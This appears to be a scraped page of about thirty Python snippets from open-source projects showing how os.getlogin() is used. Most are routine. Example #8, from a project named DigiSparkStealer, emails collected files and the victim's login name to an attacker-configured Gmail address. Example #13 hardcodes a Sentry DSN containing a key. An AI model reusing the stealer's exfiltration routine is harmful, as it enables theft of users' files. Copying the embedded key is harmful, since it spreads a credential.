Python os.getlogin() Examples

The following are 30 code examples of os.getlogin(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module os , or try the search function .
Example #1
Source File: notifyplugin.py    From backintime with GNU General Public License v2.0 7 votes vote down vote up
def __init__(self):
        self.user = ''

        try:
            self.user = os.getlogin()
        except:
            pass

        if not self.user:
            try:
                user = os.environ['USER']
            except:
                pass

        if not self.user:
            try:
                user = os.environ['LOGNAME']
            except:
                pass 
Example #2
Source File: ext_daemon.py    From deepWordBug with Apache License 2.0 6 votes vote down vote up
def extend_app(app):
    """
    Adds the ``--daemon`` argument to the argument object, and sets the
    default ``[daemon]`` config section options.

    """
    global CEMENT_DAEMON_APP
    CEMENT_DAEMON_APP = app

    app.args.add_argument('--daemon', dest='daemon',
                          action='store_true', help='daemonize the process')

    # Add default config
    user = pwd.getpwnam(os.getlogin())
    group = grp.getgrgid(user.pw_gid)

    defaults = dict()
    defaults['daemon'] = dict()
    defaults['daemon']['user'] = user.pw_name
    defaults['daemon']['group'] = group.gr_name
    defaults['daemon']['pid_file'] = None
    defaults['daemon']['dir'] = '/'
    defaults['daemon']['umask'] = 0
    app.config.merge(defaults, override=False)
    app.extend('daemonize', daemonize) 
Example #3
Source File: utils.py    From ocs-ci with MIT License 6 votes vote down vote up
def node_power_failure(gyaml, sleep_time=300, name=None):
    user = os.getlogin()
    if name is None:
        name = 'ceph-' + user
    driver = get_openstack_driver(gyaml)
    for node in driver.list_nodes():
        if node.name.startswith(name):
            log.info('Doing power-off on %s' % node.name)
            driver.ex_stop_node(node)
            time.sleep(20)
            op = driver.ex_get_node_details(node)
            if op.state == 'stopped':
                log.info('Node stopped successfully')
            time.sleep(sleep_time)
            log.info('Doing power-on on %s' % node.name)
            driver.ex_start_node(node)
            time.sleep(20)
            op = driver.ex_get_node_details(node)
            if op.state == 'running':
                log.info('Node restarted successfully')
            time.sleep(20)
    return 0 
Example #4
Source File: dataload.py    From PixivCrawlerIII with MIT License 6 votes vote down vote up
def platform_setting():
    """Get OS platform to set folder format

    :return:    platform work directory
    """
    work_dir = None
    home_dir = os.environ['HOME']   # get system default setting home folder, for windows
    get_login_user = os.getlogin()  # get login user name to build user home directory, for linux
    # linux
    if os.name == 'posix':
        if get_login_user != 'root':
            work_dir = '/home/' + get_login_user + '/Pictures/Crawler/'
        else:
            # if your run crawler program in Android Pydroid 3
            # change here work_dir to /sdcard/Pictures/Crawler/
            work_dir = '/sdcard/Pictures/Crawler/'
    # windows
    elif os.name == 'nt':
        work_dir = home_dir + '/PictureDatabase/Crawler/'
    else:
        pass

    return work_dir
# for filesystem operation entity 
Example #5
Source File: duct.py    From omniduct with MIT License 6 votes vote down vote up
def username(self):
        """
        str: Some services require authentication in order to connect to the
        service, in which case the appropriate username can be specified. If not
        specified at instantiation, your local login name will be used. If `True`
        was provided, you will be prompted to type your username at runtime as
        necessary. If `False` was provided, then `None` will be returned. You can
        specify a different username at runtime using: `duct.username = '<username>'`.
        """
        if self._username is True:
            if 'username' not in self.__cached_auth:
                self.__cached_auth['username'] = input("Enter username for '{}':".format(self.name))
            return self.__cached_auth['username']
        elif self._username is False:
            return None
        elif not self._username:
            try:
                username = os.getlogin()
            except OSError:
                username = pwd.getpwuid(os.geteuid()).pw_name
            return username
        return self._username 
Example #6
Source File: pipeline_events.py    From mara-pipelines with MIT License 6 votes vote down vote up
def get_user_display_name(interactively_started: bool) -> t.Optional[str]:
    """Gets the display name for the user which started a run

    Defaults to MARA_RUN_USER_DISPLAY_NAME and falls back to the current OS-level name
    if the run was started interactively, else None.

    :param interactively_started: True if the run was triggered interactively

    Patch if you have more sophisticated needs.
    """
    import os
    if 'MARA_RUN_USER_DISPLAY_NAME' in os.environ:
        return os.environ.get('MARA_RUN_USER_DISPLAY_NAME')
    if not interactively_started:
        return None
    return os.environ.get('SUDO_USER') or os.environ.get('USER') or os.getlogin() 
Example #7
Source File: discovery.py    From openshift-restclient-python with Apache License 2.0 6 votes vote down vote up
def __get_user(self):
        if hasattr(os, 'getlogin'):
            try:
                user = os.getlogin()
                if user:
                    return str(user)
            except OSError:
                pass
        if hasattr(os, 'getuid'):
            try:
                user = os.getuid()
                if user:
                    return str(user)
            except OSError:
                pass
        user = os.environ.get("USERNAME")
        if user:
            return str(user)
        return None 
Example #8
Source File: sendMail.py    From DigiSparkStealer with MIT License 6 votes vote down vote up
def send_message(self):
        subject = 'Digispark - User: ' + os.getlogin()
        text = self.get_text_mail()

        msg = MIMEMultipart()
        msg['From'] = self.source_mail
        msg['To'] = ", ".join(self.dest_mail)
        msg['Subject'] = subject

        msg.attach(MIMEText(text))
        for f in self.files:
            attachment = MIMEApplication(open(f, "rb").read(), _subtype="txt")
            attachment.add_header('Content-Disposition', 'attachment', filename=f)
            msg.attach(attachment)

        try:
            mailServer = smtplib.SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.login(self.source_mail, self.source_pass)
            mailServer.sendmail(self.source_mail, self.dest_mail, msg.as_string())
            mailServer.close()
        except:
            pass 
Example #9
Source File: keygen.py    From adb_shell with Apache License 2.0 6 votes vote down vote up
def get_user_info():
    """TODO

    Returns
    -------
    str
        ``' <username>@<hostname>``

    """
    try:
        username = os.getlogin()
    except (FileNotFoundError, OSError):
        username = 'unknown'

    if not username:
        username = 'unknown'

    hostname = socket.gethostname()
    if not hostname:
        hostname = 'unknown'

    return ' ' + username + '@' + hostname 
Example #10
Source File: common_methods.py    From Forensic-Tools with MIT License 6 votes vote down vote up
def get_firefox_db(db_file):
    '''Return the full path of firefox sqlite databases, platform independent'''
    success = False
    plat_dict = {"Windows 7" : r"C:\Users\%s\AppData\Roaming\Mozilla\Firefox\Profiles" % os.getlogin(),
                 "Windows XP" : r"C:\Documents and Settings\%s\Application Data\Mozilla\Firefox\Profiles" % os.getlogin(),
                 "Linux" : r"/home/%s/.mozilla/firefox/" % os.getlogin(),
                 "Darwin" : r"/Users/%s/Library/Application Support/Firefox/Profiles" % os.getlogin()}
    if platform.system() == "Windows":
        string = plat_dict[platform.system() + " " + platform.release()]
    else:
        string = plat_dict[platform.system()]
    for item in os.listdir(string):
        if os.path.isdir(os.path.join(string, item)) and "default" in item:
            if os.path.isfile(os.path.join(string, item, db_file)):
                success = True
                return os.path.join(string, item, db_file)
    if not success:
        sys.exit("Couldn't find the database file in the default location! Try providing a different location using the -b option...") 
Example #11
Source File: model.py    From pastas with MIT License 6 votes vote down vote up
def get_file_info(self):
        """Internal method to get the file information.

        Returns
        -------
        file_info: dict
            dictionary with file information.

        """
        # Check if file_info already exists
        if hasattr(self, "file_info"):
            file_info = self.file_info
        else:
            file_info = {"date_created": Timestamp.now()}

        file_info["date_modified"] = Timestamp.now()
        file_info["pastas_version"] = __version__

        try:
            file_info["owner"] = getlogin()
        except:
            file_info["owner"] = "Unknown"

        return file_info 
Example #12
Source File: __init__.py    From cellblender with GNU General Public License v2.0 5 votes vote down vote up
def execute(self, context):
        engine_props = context.scene.mcell_engine_props
        sge = sge_interface()
        sge.kill_all_users_jobs ( engine_props.sge_host_name, os.getlogin() );
        return {'FINISHED'} 
Example #13
Source File: exceptions.py    From marvin with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def __init__(self, version='Unknown'):
        try:
            from raven import Client
        except ImportError as e:
            Client = None

        if Client:
            os.environ['SENTRY_DSN'] = 'https://98bc7162624049ffa3d8d9911e373430:1a6b3217d10e4207908d8e8744145421@sentry.io/107924'
            self.client = Client(
                dsn=os.environ.get('SENTRY_DSN'),
                release=version,
                site='Marvin',
                environment=sys.version.rsplit('|', 1)[0],
                processors=(
                    'raven.processors.SanitizePasswordsProcessor',
                )
            )
            try:                                                    
                self.client.context.merge({'user': {'name': os.getlogin(),
                                                    'system': '_'.join(os.uname())}})
            except (OSError, IOError) as ee:
                warnings.warn('cannot initiate Sentry error reporting: {0}.'.format(str(ee)),
                              UserWarning)
                self.client = None
            except Exception as ee:
                warnings.warn('cannot initiate Sentry error reporting: unknown error.',
                              UserWarning)
                self.client = None

        else:
            self.client = None 
Example #14
Source File: config.py    From reframe with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def _find_config_file():
    # The order of elements is important, since it defines the priority
    prefixes = [
        os.path.join(os.getlogin(), '.reframe'),
        reframe.INSTALL_PREFIX,
        '/etc/reframe.d'
    ]
    valid_exts = ['py', 'json']
    for d in prefixes:
        for ext in valid_exts:
            filename = os.path.join(d, f'settings.{ext}')
            if os.path.exists(filename):
                return filename

    return None 
Example #15
Source File: buildlib.py    From stonix with GNU General Public License v2.0 5 votes vote down vote up
def checkBuildUser(self):
        '''Checks if the build user has UID of 0
        
        @author: Roy Nielsen, Eric Ball


        :returns: Tuple containing the current user's login name and UID

        '''
        # This method is called before ramdisk creation, so it does not use the
        # try/except block that most methods do
        print("Starting checkBuildUser...")

        CURRENT_USER = os.getlogin()

        RUNNING_ID = str(os.geteuid())
        print(("UID: " + RUNNING_ID))

        if RUNNING_ID != "0":
            print(" ")
            print("****************************************")
            print(("***** Current logged in user: " + CURRENT_USER))
            print("***** Please run with SUDO ")
            print("****************************************")
            print(" ")
            exit(1)
        else:
            print(("***** Current logged in user: " + CURRENT_USER))

        print("checkBuildUser Finished...")
        return CURRENT_USER, RUNNING_ID 
Example #16
Source File: submit.py    From higan with MIT License 5 votes vote down vote up
def get_user_name():
    """Get the current user name."""
    if _user_name_override is not None:
        return _user_name_override
    elif platform.system() == "Windows":
        return os.getlogin()
    elif platform.system() == "Linux":
        try:
            import pwd # pylint: disable=import-error
            return pwd.getpwuid(os.geteuid()).pw_name # pylint: disable=no-member
        except:
            return "unknown"
    else:
        raise RuntimeError("Unknown platform") 
Example #17
Source File: classification-banner.py    From hardening-script-el6-kickstart with Apache License 2.0 5 votes vote down vote up
def get_user():
    try:
        user = os.getlogin()
    except:
        user = ''
        pass
    return user

# Returns Hostname 
Example #18
Source File: cellblender_simulation.py    From cellblender with GNU General Public License v2.0 5 votes vote down vote up
def execute(self, context):
        run_sim = context.scene.mcell.run_simulation
        sge = sge_interface()
        sge.kill_all_users_jobs ( run_sim.sge_host_name, os.getlogin() );
        return {'FINISHED'} 
Example #19
Source File: test_proxies.py    From data with GNU General Public License v3.0 5 votes vote down vote up
def setUp(self):
        if not socks:
            raise nose.SkipTest('socks module unavailable')
        if not subprocess:
            raise nose.SkipTest('subprocess module unavailable')

        # start a short-lived miniserver so we can get a likely port
        # for the proxy
        self.httpd, self.proxyport = miniserver.start_server(
            miniserver.ThisDirHandler)
        self.httpd.shutdown()
        self.httpd, self.port = miniserver.start_server(
            miniserver.ThisDirHandler)

        self.pidfile = tempfile.mktemp()
        self.logfile = tempfile.mktemp()
        fd, self.conffile = tempfile.mkstemp()
        f = os.fdopen(fd, 'w')
        our_cfg = tinyproxy_cfg % {'user': os.getlogin(),
                                   'pidfile': self.pidfile,
                                   'port': self.proxyport,
                                   'logfile': self.logfile}
        f.write(our_cfg)
        f.close()
        try:
            # TODO use subprocess.check_call when 2.4 is dropped
            ret = subprocess.call(['tinyproxy', '-c', self.conffile])
            self.assertEqual(0, ret)
        except OSError, e:
            if e.errno == errno.ENOENT:
                raise nose.SkipTest('tinyproxy not available')
            raise 
Example #20
Source File: test_proxies.py    From data with GNU General Public License v3.0 5 votes vote down vote up
def setUp(self):
        if not socks:
            raise nose.SkipTest('socks module unavailable')
        if not subprocess:
            raise nose.SkipTest('subprocess module unavailable')

        # start a short-lived miniserver so we can get a likely port
        # for the proxy
        self.httpd, self.proxyport = miniserver.start_server(
            miniserver.ThisDirHandler)
        self.httpd.shutdown()
        self.httpd, self.port = miniserver.start_server(
            miniserver.ThisDirHandler)

        self.pidfile = tempfile.mktemp()
        self.logfile = tempfile.mktemp()
        fd, self.conffile = tempfile.mkstemp()
        f = os.fdopen(fd, 'w')
        our_cfg = tinyproxy_cfg % {'user': os.getlogin(),
                                   'pidfile': self.pidfile,
                                   'port': self.proxyport,
                                   'logfile': self.logfile}
        f.write(our_cfg)
        f.close()
        try:
            # TODO use subprocess.check_call when 2.4 is dropped
            ret = subprocess.call(['tinyproxy', '-c', self.conffile])
            self.assertEqual(0, ret)
        except OSError, e:
            if e.errno == errno.ENOENT:
                raise nose.SkipTest('tinyproxy not available')
            raise 
Example #21
Source File: codehelper.py    From xtls with GNU General Public License v2.0 5 votes vote down vote up
def get_user():
    """
    获取运行程序的用户名
    :return:
    """
    try:
        return os.getlogin()
    except:
        return getpass.getuser() 
Example #22
Source File: export_datasmith.py    From blender-datasmith-export with GNU General Public License v3.0 5 votes vote down vote up
def get_file_header():

	n = Node('DatasmithUnrealScene')

	from . import bl_info
	plugin_version = bl_info['version']
	plugin_version_string = "%s.%s.%s" % plugin_version
	n.push(Node('Version', children=[plugin_version_string]))
	n.push(Node('SDKVersion', children=['4.24E0']))
	n.push(Node('Host', children=['Blender']))

	blender_version = bpy.app.version_string
	n.push(Node('Application', {
		'Vendor': 'Blender Foundation',
		'ProductName': 'Blender',
		'ProductVersion': blender_version,
		}))

	import os, platform
	os_name = "%s %s" % (platform.system(), platform.release())
	user_name = os.getlogin()

	n.push(Node('User', {
		'ID': user_name,
		'OS': os_name,
		}))
	return n


# in_type can be SRGB, LINEAR or NORMAL 
Example #23
Source File: software_hosts.py    From power-up with Apache License 2.0 5 votes vote down vote up
def get_user_and_home():
    """Get user name and home directory path

    Returns the user account calling the script, *not* 'root' even
    when called with 'sudo'.

    Returns:
        user_name, user_home_dir (tuple): User name and home dir path

    Raises:
        UserException: If 'getent' command fails
    """
    log = logger.getlogger()
    user_name = getlogin()

    cmd = f'getent passwd {user_name}'
    resp, err, rc = sub_proc_exec(cmd, shell=True)
    if str(rc) != "0":
        msg = 'getent failed:\n{}'.format(err)
        log.debug(msg)
        raise UserException(msg)
    user_home_dir = resp.split(':')[5].rstrip()

    return (user_name, user_home_dir) 
Example #24
Source File: software_hosts.py    From power-up with Apache License 2.0 5 votes vote down vote up
def _set_software_hosts_owner_mode(software_hosts_file_path):
    """Set software_hosts file owner to "login" user

    Args:
        software_hosts_file_path (str): Path to software inventory file
    """
    user_name = getlogin()
    if getuid() == 0 and user_name != 'root':
        user_uid = pwd.getpwnam(user_name).pw_uid
        user_gid = grp.getgrnam(user_name).gr_gid
        os.chown(software_hosts_file_path, user_uid, user_gid)
        os.chmod(software_hosts_file_path, 0o644) 
Example #25
Source File: twitter.py    From python-for-android with Apache License 2.0 5 votes vote down vote up
def _GetUsername(self):
    '''Attempt to find the username in a cross-platform fashion.'''
    try:
      return os.getenv('USER') or \
             os.getenv('LOGNAME') or \
             os.getenv('USERNAME') or \
             os.getlogin() or \
             'nobody'
    except (IOError, OSError), e:
      return 'nobody' 
Example #26
Source File: test_proxies.py    From alfred-gmail with MIT License 5 votes vote down vote up
def setUp(self):
        if not socks:
            raise nose.SkipTest("socks module unavailable")
        if not subprocess:
            raise nose.SkipTest("subprocess module unavailable")

        # start a short-lived miniserver so we can get a likely port
        # for the proxy
        self.httpd, self.proxyport = miniserver.start_server(miniserver.ThisDirHandler)
        self.httpd.shutdown()
        self.httpd, self.port = miniserver.start_server(miniserver.ThisDirHandler)

        self.pidfile = tempfile.mktemp()
        self.logfile = tempfile.mktemp()
        fd, self.conffile = tempfile.mkstemp()
        f = os.fdopen(fd, "w")
        our_cfg = tinyproxy_cfg % {
            "user": os.getlogin(),
            "pidfile": self.pidfile,
            "port": self.proxyport,
            "logfile": self.logfile,
        }
        f.write(our_cfg)
        f.close()
        try:
            # TODO use subprocess.check_call when 2.4 is dropped
            ret = subprocess.call(["tinyproxy", "-c", self.conffile])
            self.assertEqual(0, ret)
        except OSError as e:
            if e.errno == errno.ENOENT:
                raise nose.SkipTest("tinyproxy not available")
            raise 
Example #27
Source File: env.py    From syntribos with Apache License 2.0 5 votes vote down vote up
def get_user_home_root():
    global FOLDER
    user = os.environ.get("SUDO_USER")
    if not user:
        try:
            user = os.environ.get("USER") or os.getlogin()
        except OSError as e:
            # Refer https://mail.python.org/pipermail/python-bugs-list/
            # 2002-July/012691.html
            LOG.error("Exception thrown in : %s", e)
            user = pwd.getpwuid(os.getuid())[0]
    home_path = "~{0}/{1}".format(user, FOLDER)
    return expand_path(home_path) 
Example #28
Source File: messaging.py    From ahenk with GNU Lesser General Public License v3.0 5 votes vote down vote up
def unregister_msg(self,usernameForCheck,passwordForCheck):
        data = dict()
        data['type'] = 'UNREGISTER'
        data['from'] = str(self.conf_manager.get('CONNECTION', 'uid'))
        data['password'] = str(self.conf_manager.get('CONNECTION', 'password'))
        # unregistration from commandline..
        if(usernameForCheck==None and passwordForCheck==None):
            user_name = self.db_service.select_one_result('session', 'username')
            display = self.db_service.select_one_result('session', 'display')
            #user_name = os.getlogin()
            #display = Util.get_username_display()
            self.logger.debug('User : ' + str(user_name))
            pout = Util.show_unregistration_message(user_name,display,
                                              'Makineyi etki alanından çıkarmak için zorunlu alanları giriniz. Lütfen DEVAM EDEN İŞLEMLERİNİZİ sonlandırdığınıza emin olunuz !',
                                              'ETKI ALANINDAN ÇIKARMA')
            self.logger.debug('pout : ' + str(pout))
            field_values = pout.split(' ')
            user_registration_info = list(field_values)
            data['userName'] = user_registration_info[0];
            data['userPassword'] = user_registration_info[1];
        else:
            data['userName'] = usernameForCheck;
            data['userPassword'] = passwordForCheck;

        #data['macAddresses'] = str(self.conf_manager.get('REGISTRATION', 'macAddresses'))
        #data['ipAddresses'] = str(self.conf_manager.get('REGISTRATION', 'ipAddresses'))
        #data['hostname'] = str(self.conf_manager.get('REGISTRATION', 'hostname'))
        # data['username'] = str(pwd.getpwuid( os.getuid() )[ 0 ])
        data['timestamp'] = Util.timestamp()
        json_data = json.dumps(data)
        self.logger.debug('Unregister message was created')
        return json_data 
Example #29
Source File: registration.py    From ahenk with GNU Lesser General Public License v3.0 5 votes vote down vote up
def registration_timeout(self):
        self.logger.error(
            'Could not reach registration response from Lider. Be sure XMPP server is reachable and it supports anonymous message, Lider is running properly '
            'and it is connected to XMPP server! Check your Ahenk configuration file (/etc/ahenk/ahenk.conf)')
        self.logger.error('Ahenk is shutting down...')
        print('Ahenk is shutting down...')
        Util.show_message(os.getlogin(),':0',"Lider MYS sistemine ulaşılamadı. Lütfen sunucu adresini kontrol ediniz....","HATA")
        System.Process.kill_by_pid(int(System.Ahenk.get_pid_number())) 
Example #30
Source File: messaging.py    From ahenk with GNU Lesser General Public License v3.0 5 votes vote down vote up
def unregister_msg(self,usernameForCheck,passwordForCheck):
        data = dict()
        data['type'] = 'UNREGISTER'
        data['from'] = str(self.conf_manager.get('CONNECTION', 'uid'))
        data['password'] = str(self.conf_manager.get('CONNECTION', 'password'))
        # unregistration from commandline..
        if(usernameForCheck==None and passwordForCheck==None):
            user_name = self.db_service.select_one_result('session', 'username')
            display = self.db_service.select_one_result('session', 'display')
            #user_name = os.getlogin()
            #display = Util.get_username_display()
            self.logger.debug('User : ' + str(user_name))
            pout = Util.show_unregistration_message(user_name,display,
                                              'Makineyi etki alanından çıkarmak için zorunlu alanları giriniz. Lütfen DEVAM EDEN İŞLEMLERİNİZİ sonlandırdığınıza emin olunuz !',
                                              'ETKI ALANINDAN ÇIKARMA')
            self.logger.debug('pout : ' + str(pout))
            field_values = pout.split(' ')
            user_registration_info = list(field_values)
            data['userName'] = user_registration_info[0];
            data['userPassword'] = user_registration_info[1];
        else:
            data['userName'] = usernameForCheck;
            data['userPassword'] = passwordForCheck;

        #data['macAddresses'] = str(self.conf_manager.get('REGISTRATION', 'macAddresses'))
        #data['ipAddresses'] = str(self.conf_manager.get('REGISTRATION', 'ipAddresses'))
        #data['hostname'] = str(self.conf_manager.get('REGISTRATION', 'hostname'))
        # data['username'] = str(pwd.getpwuid( os.getuid() )[ 0 ])
        data['timestamp'] = Util.timestamp()
        json_data = json.dumps(data)
        self.logger.debug('Unregister message was created')
        return json_data